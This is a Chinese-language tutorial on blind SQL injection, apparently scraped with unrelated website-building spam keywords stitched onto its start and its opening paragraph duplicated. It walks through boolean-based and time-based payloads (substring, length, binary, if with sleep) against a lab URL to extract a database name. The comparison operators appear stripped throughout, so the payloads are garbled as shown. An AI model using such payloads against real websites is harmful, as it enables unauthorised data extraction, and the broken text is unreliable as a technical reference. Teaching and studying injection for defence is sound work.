成品网站怎样建设,建网站定制,网站建设灬金手指下拉十五,四站合一网站制作sql 注入, 盲注
盲注适合在页面没有任何回显时使用. 测试页面有变化, 但是没有显示任何异常错误等信息.
情景:
url: http://192.168.112.200/security/read.php?id1
服务器数据库名: learn一, boolean盲注
# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比…sql 注入, 盲注
盲注适合在页面没有任何回显时使用. 测试页面有变化, 但是没有显示任何异常错误等信息.
情景:
url: http://192.168.112.200/security/read.php?id1
服务器数据库名: learn一, boolean盲注
# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
length(n) 字符串长度
mid(str, start, n) 从start开始截取n个字符, start从1开始
substring(str, start, n) 从start开始截取n个字符, start从1开始
left(str, n) 从左侧开始截取n个字符
right(str, n) 从右侧开始截取n个字符
ord() 字符的ascii码
ascii() 字符的ascii码1. 猜测长度
# 利用比较运算判断数据库名称的长度
http://.../?id1 and length( database() ) 10 # 页面正常
http://.../?id1 and length( database() ) 5 # 页面异常
http://.../?id1 and length( database() ) 5 # 页面正常, 数据库名长度是5.2. 猜测字符
利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等. 可以使用python脚本或者burpsuit来做爆破.
# 猜测数据库名第一个字母
http://.../?id1 and substring( database(), 1, 1 ) a # 页面异常
http://.../?id1 and substring( database(), 1, 1 ) c # 页面异常
http://.../?id1 and substring( database(), 1, 1 ) l # 页面正常, 数据库名首字母是 l
# 猜测第二个字母
http://.../?id1 and substring( database(), 2, 1 ) e # 页面正常, 数据库第二个字母是 e
http://.../?id1 and substring( database(), 2, 1 ) E # 页面正常, 到底是大写还是小写 ?# 这里为了区分大小写, 使用 binary 更准确
http://.../?id1 and binary substring( database(), 2, 1 ) e # 页面正常
http://.../?id1 and binary substring( database(), 2, 1 ) E # 页面异常# 猜测第三个字母
...
二, 时间型盲注
boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注. 在真假判断的基础上添加时间判断.
原理:
if(表达式, 语句1, 语句2) 函数的规则: 如果 [表达式] 是真, 则执行 [语句1] , 否则执行 [语句2] .
使用if函数, 对boolean盲注[表达式]做判断, 将延迟时间设置到[语句1], 如果boolean盲注[表达式]猜对了, sql会执行[语句1] 进入延迟, 否则sql会立刻执行[语句2]. 所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.
案例:
# 猜测数据库的名称长度
http://.../?id1 and if( length(database())10, sleep(5), 1) # 页面有明显延迟, 说明猜对
http://.../?id1 and if( length(database())5, sleep(5), 1) # 页面响应不到5秒, 说明猜错
http://.../?id1 and if( length(database())5, sleep(5), 1) # 页面有明显延迟, 说明猜对, 那么长度是5